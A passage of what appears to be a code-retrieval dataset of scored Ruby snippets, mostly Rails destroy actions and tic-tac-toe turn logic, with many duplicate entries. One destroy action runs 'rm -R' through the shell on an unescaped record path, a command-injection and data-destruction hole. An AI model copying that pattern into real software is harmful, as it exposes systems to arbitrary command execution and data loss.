"text": "def destroy\n @nodo.destroy\n respond_to do |format|\n format.html { redirect_to nodos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d178f9b80e11c863b38a4e6ba54cbc76",
"score": "0.6229655",
"text": "def destroy\n @momsg = Momsg.find(params[:id])\n @momsg.destroy\n\n respond_to do |format|\n format.html { redirect_to momsgs_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "93585ec991f043adc425ea4bce17a921",
"score": "0.6228724",
"text": "def destroy\n @town_master.destroy\n respond_to do |format|\n format.html { redirect_to town_masters_url, notice: \"Town master was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "43fa06f69089b5d5013723943ef23b4b",
"score": "0.62270826",
"text": "def destroy\n @charge_master = ChargeMaster.find(params[:id])\n @charge_master.destroy\n\n respond_to do |format|\n format.html { redirect_to(charge_masters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "954b3bbfdba46925c9ee2cdb943066e0",
"score": "0.62088126",
"text": "def destroy\n @distro.destroy\n respond_to do |format|\n format.html { redirect_to distros_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "eb00f815cfd5782c3da6f8d204f5cf1a",
"score": "0.6206162",
"text": "def destroy\n @processmaster_id=@trackingsheetdocument.trackingsheet.processmaster.id\n @trackingsheetdocument.destroy\n respond_to do |format|\n format.html { redirect_to trackingsheets_url+\"?processmaster_id=\"+@processmaster_id, notice: 'Document was successfully deleted.' }\n #format.html { redirect_to trackingsheetdocuments_url, notice: 'Trackingsheetdocument was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7fcf63d52757f020e04e6362eb7dfa87",
"score": "0.6206049",
"text": "def destroy\n @processmaster_id=@trackingsheetimage.trackingsheet.processmaster.id\n @trackingsheetimage.destroy\n respond_to do |format|\n format.html { redirect_to trackingsheets_url+\"?processmaster_id=\"+@processmaster_id, notice: 'Image was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "93b2492c611ac637d5f49de237cfafe3",
"score": "0.6202764",
"text": "def destroy\n @usermaster = Usermaster.find(params[:id])\n @usermaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(usermasters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d2f2b7e27bbbe134661361074c399275",
"score": "0.619894",
"text": "def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"title": ""
},
{
"docid": "f7d6c08b6a7d5443434a669e3a4c3c9e",
"score": "0.61972034",
"text": "def destroy\n @node_incident = NodeIncident.find(params[:id])\n @node_incident.destroy\n\n respond_to do |format|\n format.html { redirect_to node_incidents_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0e86243c2a239338eb4fbc5185cf7acd",
"score": "0.6194765",
"text": "def destroy\n @grep_multi.destroy\n respond_to do |format|\n format.html { redirect_to grep_multis_url, notice: 'Grep multi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "963f3a976b55db599fafa5037cd74103",
"score": "0.61881936",
"text": "def destroy\n @loadbalancer = Loadbalancer.find(params[:id])\n checkaccountobject(\"loadbalancers\",@loadbalancer)\n @loadbalancer.send_delete\n\n respond_to do |format|\n format.html { redirect_to loadbalancers_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "850d8bd7c6ab90ba1e624d81d49d9e00",
"score": "0.6181845",
"text": "def destroy\n @pm_node.destroy\n respond_to do |format|\n format.html { redirect_to pm_nodes_url, notice: 'Node was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9dd95a4fe749030387365a671cdc92d0",
"score": "0.6179514",
"text": "def destroy\n @database = Database.find(params[:id])\n path = @database.path\n delete = %x[rm -R #{path}]\n @database.destroy\n\n respond_to do |format|\n format.html { redirect_to databases_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3c7c2a76af84c1d22c7ade35f94975ac",
"score": "0.6178674",
"text": "def destroy\n @scout_master = ScoutMaster.find(params[:id])\n @scout_master.destroy\n\n respond_to do |format|\n format.html { redirect_to(scout_masters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "935c874d77e9a33d1bea8350cabf58e6",
"score": "0.6176168",
"text": "def destroy\n @m1.destroy\n respond_to do |format|\n format.html { redirect_to m1s_url, notice: 'M1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "82be63794f973a9563f77d63abf10fa2",
"score": "0.61754775",
"text": "def destroy\n @landmaster.destroy\n respond_to do |format|\n format.html { redirect_to landmasters_url, notice: 'Landmaster was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e83552b967aa6bc9df101c57540b9945",
"score": "0.61719126",
"text": "def destroy\n @mcluster.destroy\n respond_to do |format|\n format.html { redirect_to mclusters_url, notice: 'Mcluster was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b166b1c1f4e1526c6077036be6114628",
"score": "0.615837",
"text": "def destroy\n @service_master.destroy\n @service_masters = ServiceMaster.all\n end",
"title": ""
},
{
"docid": "7c3fe36b930fb16ec95f0797cc6c4fac",
"score": "0.6156081",
"text": "def destroy\n @citymaster = Citymaster.find(params[:id])\n @citymaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(citymasters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9410f5d5c06a5d4acee3b61e4f080658",
"score": "0.6153215",
"text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"title": ""
},
{
"docid": "9410f5d5c06a5d4acee3b61e4f080658",
"score": "0.6153215",
"text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"title": ""
},
{
"docid": "9410f5d5c06a5d4acee3b61e4f080658",
"score": "0.6153215",
"text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"title": ""
},
{
"docid": "9410f5d5c06a5d4acee3b61e4f080658",
"score": "0.6153215",
"text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"title": ""
},
{
"docid": "379e8737d9e9190f45466a164db3f18b",
"score": "0.6152378",
"text": "def destroy\n @bones_segment.destroy\n respond_to do |format|\n format.html { redirect_to bones_segments_url, notice: 'Bones segment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ca2d6bf85768b4e6353deacc5e40b64f",
"score": "0.6149505",
"text": "def destroy\n @service_fee_master.destroy\n respond_to do |format|\n format.html { redirect_to service_fee_masters_url, notice: 'Service fee master was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "33b888c8f2b033bb54789de80c57d692",
"score": "0.6147105",
"text": "def delete\n client.delete(url)\n @deleted = true\nend",
"title": ""
},
{
"docid": "c1364e76be96445bd8ae1a2e5641e791",
"score": "0.6144018",
"text": "def destroy\n @financer_master.destroy\n respond_to do |format|\n format.html { redirect_to financer_masters_url, notice: 'Financer Master was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba67ebd85114998e01be10599c8943ca",
"score": "0.61422354",
"text": "def delete(path)\n RestClient.delete request_base+path\n end",
"title": ""
},
{
"docid": "df5db9af7763058121ab802a8796293a",
"score": "0.6135078",
"text": "def destroy\n @process_lot.destroy\n respond_to do |format|\n format.html { redirect_to process_lots_url, notice: 'Process lot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
b2143ad03f4091030318c08f97029d09
|
def current_player(board) if turn_count(board) % 2 == 0 return "X" else return "O" end end
|
[
{
"docid": "2d72d6536dc2162e26c678c603c07378",
"score": "0.97210616",
"text": "def current_player(board)\n turn_count(board) % 2 == 0 ? \"X\" : \"O\"\nend",
"title": ""
}
] |
[
{
"docid": "e5cb015d899aa10b2a70c120dec9b477",
"score": "0.9867085",
"text": "def current_player(board)\n if turn_count(board) == 0\n return \"X\"\n elsif\n turn_count(board) % 2 == 0 \n return \"X\"\n else\n return \"O\"\n end \n end",
"title": ""
},
{
"docid": "e5cb015d899aa10b2a70c120dec9b477",
"score": "0.9867085",
"text": "def current_player(board)\n if turn_count(board) == 0\n return \"X\"\n elsif\n turn_count(board) % 2 == 0 \n return \"X\"\n else\n return \"O\"\n end \n end",
"title": ""
},
{
"docid": "4ff6b690befd21a4ad5a059721a691d8",
"score": "0.9805003",
"text": "def current_player(board)\n return turn_count(board)%2==0 ? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "423384ed342576ea6d92c7227c3134d2",
"score": "0.97861916",
"text": "def current_player(board)\r\n (turn_count(board) % 2 == 0)? \"X\" : \"O\"\r\nend",
"title": ""
},
{
"docid": "afce59b63e4914f610038c1bedac60af",
"score": "0.97775525",
"text": "def current_player(board)\n return turn_count(board) % 2 == 0 ? \"X\" : \"O\";\nend",
"title": ""
},
{
"docid": "05068f93ff248f1cc4f0029dd5711426",
"score": "0.977015",
"text": "def current_player(board)\n\tcount = turn_count(board)\n\tcount % 2 == 0 ? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "a7296640db7336edcdd97d087dc6b577",
"score": "0.9765446",
"text": "def current_player(board)\n counter_turn = turn_count(board)\n if counter_turn % 2 == 0\n \"X\"\n else\n \"O\"\n end\n end",
"title": ""
},
{
"docid": "454561513c987c49779bccc8c733b92e",
"score": "0.9752696",
"text": "def current_player(board)\n (turn_count(board) % 2 == 0) ? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "d5e5a50a69ce9accd33848a1ebf9312e",
"score": "0.9745607",
"text": "def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "d5e5a50a69ce9accd33848a1ebf9312e",
"score": "0.9745607",
"text": "def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "d5e5a50a69ce9accd33848a1ebf9312e",
"score": "0.9745607",
"text": "def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "d5e5a50a69ce9accd33848a1ebf9312e",
"score": "0.9745607",
"text": "def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "d5e5a50a69ce9accd33848a1ebf9312e",
"score": "0.9745607",
"text": "def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "d5e5a50a69ce9accd33848a1ebf9312e",
"score": "0.9745607",
"text": "def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "d5e5a50a69ce9accd33848a1ebf9312e",
"score": "0.9745607",
"text": "def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "f1bede5054d6bbe685e49b5b8effd02d",
"score": "0.9744297",
"text": "def current_player(board)\n if turn_count(board) % 2 == 0\n \"X\"\n else\n \"O\"\n end\nend",
"title": ""
},
{
"docid": "fcf5d1fcf955d4c68c449151bb0d311e",
"score": "0.9733366",
"text": "def current_player(board)\n #is turn count divisible by 2 then return X, if not, return O. \n turn_count(@board) % 2 == 0? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "1a72640d46224ab940d04abb20ac3773",
"score": "0.9730234",
"text": "def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\"\n else \n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "e9767b9713eebdce431184b8ed8b4251",
"score": "0.97253656",
"text": "def current_player(board)\n if turn_count(board) % 2 == 0 \n \"X\"\n else\n \"O\"\n end\nend",
"title": ""
},
{
"docid": "e5bd953720d219c58623802fa081b687",
"score": "0.9722825",
"text": "def current_player(board)\n turn_count(board) % 2 == 0 ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "64c01bfd9b3194fd1f4cf069571c2ae1",
"score": "0.9693018",
"text": "def current_player(board)\n turns=turn_count(board)\n if(turns%2==0)\n \"X\"\n else\n \"O\"\n end\nend",
"title": ""
},
{
"docid": "beab56efec56978eeed6613ade81dbb0",
"score": "0.9689069",
"text": "def current_player(board)\n if turn_count(board) % 2 == 0\n \"X\"\n elsif turn_count(board) % 2 == 1\n \"O\"\n end\nend",
"title": ""
},
{
"docid": "abeddcfcb42060099512eeaf74525592",
"score": "0.9688137",
"text": "def current_player(board)\n current_turn = turn_count(board)\n if current_turn == 0 || current_turn % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "b240fa31a12b69e564330ce235dd9534",
"score": "0.9670792",
"text": "def current_player(board)\n next_turn = turn_count(board)\n if next_turn % 2 == 0 \n return 'X'\n else \n return 'O'\n end\nend",
"title": ""
},
{
"docid": "3f180785ff5baef33f9234d1d5643aa0",
"score": "0.9664412",
"text": "def current_player(board)\n counter = turn_count(board)\n if counter % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "d045c2314c5f7c603850d2648bbd7ec4",
"score": "0.9660884",
"text": "def current_player(board)\n if (turn_count(board) % 2 == 0)\n return \"X\"\n elsif !(turn_count(board) % 2 == 0)\n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "a2557d3be6e1240b829b95644705848c",
"score": "0.9654594",
"text": "def current_player(board)\n turn_count(board)\n if turn_count(board) % 2 == 0\n \"X\"\n else\n \"O\"\n end\nend",
"title": ""
},
{
"docid": "3248d60bb145ae3bcfcb8fcd6d355985",
"score": "0.9649976",
"text": "def current_player(board)\n turn_count(board)%2 == 0 ? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "e257ddc0f773d78f3faf3793be48ceab",
"score": "0.96493757",
"text": "def current_player(board)\n turns = turn_count(board) % 2\n if turns == 0\n return \"X\"\n else\n return \"O\"\nend\nend",
"title": ""
},
{
"docid": "7c384254a85f63f48ec534db119322f7",
"score": "0.962849",
"text": "def current_player(board)\n count = turn_count(board)\n return count.odd? ? \"O\" : \"X\"\nend",
"title": ""
},
{
"docid": "6f26ee781eefee2a3b3bd250ec982ac6",
"score": "0.9620599",
"text": "def current_player(board)\n return (turn_count(board).even? ? \"X\" : \"O\")\nend",
"title": ""
},
{
"docid": "d66ca585aa999cf303abb87ed1abda88",
"score": "0.9617263",
"text": "def current_player(board)\n if turn_count(board) % 2 ==0\n return \"X\"\n else\n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "0677b051c4a6f75ca8e3ba89f7100d10",
"score": "0.9606981",
"text": "def current_player(board)\r\n if (turn_count(board) + 1) %2 == 0\r\n \"O\"\r\n else\r\n \"X\"\r\n end\r\nend",
"title": ""
},
{
"docid": "fc3df44b2c54e0bc27695ab54d4e7467",
"score": "0.96024275",
"text": "def current_player(board)\n current_player = turn_count(board) % 2 == 0 ? \"X\" : \"O\"\n\nend",
"title": ""
},
{
"docid": "1b30a9efabc0a27cb99d44c10f74aaa2",
"score": "0.9601465",
"text": "def current_player(board)\n turn = turn_count(board)\n if turn == 0\n return \"X\"\n elsif turn == 1\n return \"O\"\n elsif turn == 2\n return \"X\"\n end\nend",
"title": ""
},
{
"docid": "2088059c79323ecd63a4c506b9f1241e",
"score": "0.95990825",
"text": "def current_player(board)\n \n num_turns = turn_count(board)\n \n if num_turns % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\n\nend",
"title": ""
},
{
"docid": "9bf2ab6802a213ba141996f32e5bab13",
"score": "0.9582635",
"text": "def current_player(board)\n if turn_count(board)%2 == 0\n current_player = \"X\"\n else\n current_player = \"O\"\n end\n return current_player\nend",
"title": ""
},
{
"docid": "b695421ab52ba66b2b63dbb9cada4ede",
"score": "0.9580445",
"text": "def current_player(board)\n if turn_count(board).odd?\n \"O\"\n else\n \"X\"\n end\nend",
"title": ""
},
{
"docid": "aa092f7cef3a5e06912760f3c1c98346",
"score": "0.9543401",
"text": "def current_player(board)\n if (turn_count(board) % 2) == 0\n player = \"X\"\n elsif (turn_count(board) % 2) != 0\n player = \"O\"\n end\nend",
"title": ""
},
{
"docid": "4d5ef1ba7f52d08643b1214d9d461e35",
"score": "0.95369387",
"text": "def current_player(board)\n player = turn_count(board).even? ? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "18700171f70b2217dc93e3561613c04f",
"score": "0.95297444",
"text": "def current_player(board)\n if turn_count(board).even?\n \"X\"\n else\n \"O\"\n end\nend",
"title": ""
},
{
"docid": "18700171f70b2217dc93e3561613c04f",
"score": "0.95297444",
"text": "def current_player(board)\n if turn_count(board).even?\n \"X\"\n else\n \"O\"\n end\nend",
"title": ""
},
{
"docid": "1045d039e8f1fd6118baeb2dbfbec846",
"score": "0.9523944",
"text": "def current_player(board)\nif turn_count(board) % 2 == 0\n \"X\"\nelsif turn_count(board) % 2 == 1\n \"O\"\n end\nend",
"title": ""
},
{
"docid": "8e5dbe307ea4f5253136d6667c78aa99",
"score": "0.9518421",
"text": "def current_player(board)\n count = turn_count(board)\n count.even? ? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "d44109cc9285b1220b2fc722ef311bfe",
"score": "0.9516859",
"text": "def current_player(board)\n turn_count(board).odd? ? \"O\" : \"X\"\nend",
"title": ""
},
{
"docid": "d44109cc9285b1220b2fc722ef311bfe",
"score": "0.9516859",
"text": "def current_player(board)\n turn_count(board).odd? ? \"O\" : \"X\"\nend",
"title": ""
},
{
"docid": "d877daa5f540e306655684b1ed383b0d",
"score": "0.9515816",
"text": "def current_player(board)\n player = \"\"\n if turn_count(board) % 2 == 0\n player= \"X\"\n else\n player = \"O\"\n end\n player\nend",
"title": ""
},
{
"docid": "dd08e13c7bdf13fd61f31239fe572609",
"score": "0.9505232",
"text": "def current_player(board)\n if turn_count(board).even?\n return \"X\"\n else\n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "dd08e13c7bdf13fd61f31239fe572609",
"score": "0.9505232",
"text": "def current_player(board)\n if turn_count(board).even?\n return \"X\"\n else\n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "d1d0e9ff4ccaae0e8955217b4eeb4bc0",
"score": "0.9498926",
"text": "def current_player(board)\n return turn_count(board).odd? ? \"O\" : \"X\"\n\nend",
"title": ""
},
{
"docid": "b31f4178327f529f3b4fd3aae125960b",
"score": "0.9487947",
"text": "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "b31f4178327f529f3b4fd3aae125960b",
"score": "0.9487947",
"text": "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "b31f4178327f529f3b4fd3aae125960b",
"score": "0.9487947",
"text": "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "b31f4178327f529f3b4fd3aae125960b",
"score": "0.9487947",
"text": "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "b31f4178327f529f3b4fd3aae125960b",
"score": "0.9487947",
"text": "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "b31f4178327f529f3b4fd3aae125960b",
"score": "0.9487947",
"text": "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "b31f4178327f529f3b4fd3aae125960b",
"score": "0.9487947",
"text": "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "b31f4178327f529f3b4fd3aae125960b",
"score": "0.9487947",
"text": "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "b31f4178327f529f3b4fd3aae125960b",
"score": "0.9487947",
"text": "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "b31f4178327f529f3b4fd3aae125960b",
"score": "0.9487947",
"text": "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "b2207c396e683742e8fd21470abab9fb",
"score": "0.9468858",
"text": "def current_player(board)\n turn_count(board).even? ? \"X\" : turn_count(board).odd? ? \"O\" : \"X\"\n end",
"title": ""
},
{
"docid": "fc2d2e48f353b60bee39631d257868b0",
"score": "0.94685006",
"text": "def current_player\n if turn_count % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\n end",
"title": ""
},
{
"docid": "dc1cd8781d87e4ebf550cf8c1ef04ea4",
"score": "0.9465121",
"text": "def current_player\r\n if turn_count % 2 != 0\r\n return \"O\"\r\n else\r\n return \"X\"\r\n end\r\n end",
"title": ""
},
{
"docid": "6a09c050c6dd0607c57ef4f68ed61d5e",
"score": "0.94599414",
"text": "def current_player(board)\n turns = turn_count(board)\n if turns.odd?\n return \"O\"\n else\n return \"X\"\n end\nend",
"title": ""
},
{
"docid": "046c8571ca42a39bb3fdfeb0425b6ea3",
"score": "0.94485825",
"text": "def current_player(board)\n if turn_count(board).even?\n current_player = \"X\"\n else\n current_player = \"O\"\n end\nend",
"title": ""
},
{
"docid": "806aad02000e3991b58287571d2cb3a8",
"score": "0.94439876",
"text": "def current_player(board)\n current_pla = turn_count(board)\n if current_pla %2==0\n return \"X\"\n else\n return \"O\"\n end\n \nend",
"title": ""
},
{
"docid": "cef36bcc48347a89bccbaa71931570e3",
"score": "0.944383",
"text": "def current_player\n turn = turn_count\n if turn%2 == 0\n return \"X\"\n else\n return 'O'\n end\n end",
"title": ""
},
{
"docid": "84e1ce4203529fca7fc352313f8def03",
"score": "0.94421136",
"text": "def current_player(board)\n count = turn_count(board)\n \n player = count.even? ? \"X\" : \"O\"\n \n return player\nend",
"title": ""
},
{
"docid": "a7038d7b966b2d0cfed31b95cda108ac",
"score": "0.94344",
"text": "def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\" #even turn count == X\n end \n return \"O\" #odd turn count == O \nend",
"title": ""
},
{
"docid": "67cff8e2bd42c3b434ff699784cf23f5",
"score": "0.9423553",
"text": "def current_player(board)\n if turn_count(board) % 2 == 0\n character = \"X\"\n else\n character = \"O\"\n end\n return character\nend",
"title": ""
},
{
"docid": "3deea9915417a1d5aa23c23ce42d80c5",
"score": "0.9421575",
"text": "def current_player()\n current_turn = turn_count()\n if current_turn == 0 || current_turn % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\n end",
"title": ""
},
{
"docid": "bd371ce59e51080c86fe6a75e84a3379",
"score": "0.94136757",
"text": "def current_player(board)\n if turn_count(board).even?\n \"X\"\n elsif turn_count(board).odd?\n \"O\"\n end\nend",
"title": ""
},
{
"docid": "50a45c4ba4baf97a0b1013a23ccc3876",
"score": "0.9408578",
"text": "def current_player \n turn_count % 2 == 0 ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "77f596e38ac23da6e9d10faf78b51013",
"score": "0.93990433",
"text": "def current_player #removed (board) argument\n turn_count % 2 == 0 ? \"X\" : \"O\" \nend",
"title": ""
},
{
"docid": "81fee2e9c417c73fc43adad29fe2e2da",
"score": "0.93968093",
"text": "def current_player\n turn_count%2==0 ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "54ebf8778e209cc4f0655e6679128ba2",
"score": "0.93888515",
"text": "def current_player\n turn_count % 2 == 0 ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "54ebf8778e209cc4f0655e6679128ba2",
"score": "0.93888515",
"text": "def current_player\n turn_count % 2 == 0 ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "bfc4c348b1b7a2295d79ae3bd7f52b45",
"score": "0.9387024",
"text": "def current_player(board)\n #if (turn_count(board) % 2) == 0\n #return \"X\"\n #else\n #return \"O\"\n #end\n\n output = (turn_count(board) % 2) == 0 ? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "5e590eb8f145ba9d6f716ea6a2bc6d33",
"score": "0.9371704",
"text": "def current_player\n turn_count % 2 == 0 ? \"X\" : \"O\" # << tweaked\n end",
"title": ""
},
{
"docid": "231cf9ef7af09ce245f138983b0fb691",
"score": "0.9363699",
"text": "def current_player\n (turn_count % 2 == 0)? \"X\" : \"O\"\nend",
"title": ""
},
{
"docid": "3b1f0ba562528ccf6cfcc0a2e90ad505",
"score": "0.9359287",
"text": "def current_player\r\n turn_count\r\n if turn_count % 2 == 0\r\n return \"X\"\r\n else\r\n return \"O\"\r\n end\r\n end",
"title": ""
},
{
"docid": "3ff1879ab1f74f89b923156b5aee971e",
"score": "0.93555486",
"text": "def current_player\n if turn_count % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "477d1137782518850452f87bba802c87",
"score": "0.9355183",
"text": "def current_player(board)\n return [\"X\", \"O\"][turn_count(board) % 2]\nend",
"title": ""
},
{
"docid": "2cfb1101754e08939ed452d343b64235",
"score": "0.9343622",
"text": "def current_player\n if turn_count % 2 == 0\n \"X\"\n else\n \"O\"\n end\nend",
"title": ""
},
{
"docid": "2cfb1101754e08939ed452d343b64235",
"score": "0.9343622",
"text": "def current_player\n if turn_count % 2 == 0\n \"X\"\n else\n \"O\"\n end\nend",
"title": ""
},
{
"docid": "b4d911bcf49fee651706dace32e0c04e",
"score": "0.9330809",
"text": "def current_player\n return turn_count%2==0 ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "e7c65db9acb7581a79d05439494c0e88",
"score": "0.9324547",
"text": "def current_player(board)\n count = turn_count(board)\n if count.even?\n return \"X\"\n else\n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "0f4741a087b1d9e96f9b5be592b53fc1",
"score": "0.9323877",
"text": "def current_player(board)\n#player = \"X\"\nif (turn_count(board) % 2) == 0\n player = \"X\"\nelsif (turn_count(board) % 2) != 0\n player = \"O\"\nend\nend",
"title": ""
},
{
"docid": "f83ca24e2eaed64a8287f1e2e2f8fe98",
"score": "0.92813283",
"text": "def current_player(board)\n if turn_count(board)&1==0 || turn_count(board) == 0;\n return \"X\"\n else\n return \"O\"\n end\nend",
"title": ""
},
{
"docid": "625a62ebc91541f714ca335ee5d6c4b6",
"score": "0.9275041",
"text": "def current_player\n return turn_count.even? ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "c65b15ffbfaca46fb753f96934fa1148",
"score": "0.925925",
"text": "def current_player\n turn_count.even? ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "c65b15ffbfaca46fb753f96934fa1148",
"score": "0.925925",
"text": "def current_player\n turn_count.even? ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "c65b15ffbfaca46fb753f96934fa1148",
"score": "0.925925",
"text": "def current_player\n turn_count.even? ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "400de56d80ce2eec6b1282784dc67ef7",
"score": "0.92573714",
"text": "def current_player\n turn_count == 0 || turn_count % 2 == 0 ? \"X\" : \"O\"\n end",
"title": ""
},
{
"docid": "39885fbb174f2e5aa7eeeda35dce6f01",
"score": "0.92558926",
"text": "def current_player(board)\nturn_count(board).even? ? \"X\":\"O\"\nend",
"title": ""
},
{
"docid": "31e372fadd4b6e04eed9bb5b8ebb8242",
"score": "0.9252686",
"text": "def current_player\n turns_played = turn_count()\n if turns_played % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\n end",
"title": ""
},
{
"docid": "893fe99835e634a6326d5f69d9c75638",
"score": "0.92523617",
"text": "def current_player()\n # Assume player X goes first\n return turn_count() % 2 == 0 ? \"X\" : \"O\"\n end",
"title": ""
}
] |
e4ca57ce51140c29f55cc382f9f6d70c
|
adds the given list of cells to the route and makes it valid
|
[
{
"docid": "433af9f5d2c3229d8a2fc28a117ec1b2",
"score": "0.7342274",
"text": "def add_cells(routeCells)\n add_members_to_collection(routeCells) {|routeCells| @cellpath = routeCells }\n end",
"title": ""
}
] |
[
{
"docid": "179bfa1edff304954bc3368bfc2aced0",
"score": "0.7478061",
"text": "def add_maze_cell_to_route_cells(cell, routeCells)\n (@cells.include? cell) ? routeCells << cell : []\n end",
"title": ""
},
{
"docid": "c842f53cff9cbef23f4c930c96600987",
"score": "0.6792328",
"text": "def add(cells); end",
"title": ""
},
{
"docid": "6962fc9779a359446205ab3119993b49",
"score": "0.6375836",
"text": "def add_cells(list)\n list.each { |obj| add_cell(obj) }\n self\n end",
"title": ""
},
{
"docid": "5a0c3b45654cd5a85660f275a9559334",
"score": "0.63275886",
"text": "def add_range(cells); end",
"title": ""
},
{
"docid": "dc8619a9437ef057e9fdfc2f3ab79382",
"score": "0.6213785",
"text": "def add_cells(cells)\n add_members_to_collection(cells) {|collection| @cells = collection }\n end",
"title": ""
},
{
"docid": "7be6c371e54e8dc112441080769b1930",
"score": "0.603768",
"text": "def add(cells)\n self << if cells.is_a?(String)\n cells\n elsif cells.is_a?(Array)\n Axlsx.cell_range(cells, false)\n end\n end",
"title": ""
},
{
"docid": "e98903da6fbff93fd3774334e7299e9d",
"score": "0.58523005",
"text": "def associate_to_list(cell_list)\n @cell_lists << cell_list\n end",
"title": ""
},
{
"docid": "7254ccb13f1bfbee94a8a0a35ece8832",
"score": "0.5744731",
"text": "def addCell(cell)\n @cells << cell\n end",
"title": ""
},
{
"docid": "28b9b1ccc713be23c175a798bffa31d9",
"score": "0.5730998",
"text": "def add_invalide route\n @invalides << route\n end",
"title": ""
},
{
"docid": "518b87270a8d8935835c5a8f5c4dc5c2",
"score": "0.55637854",
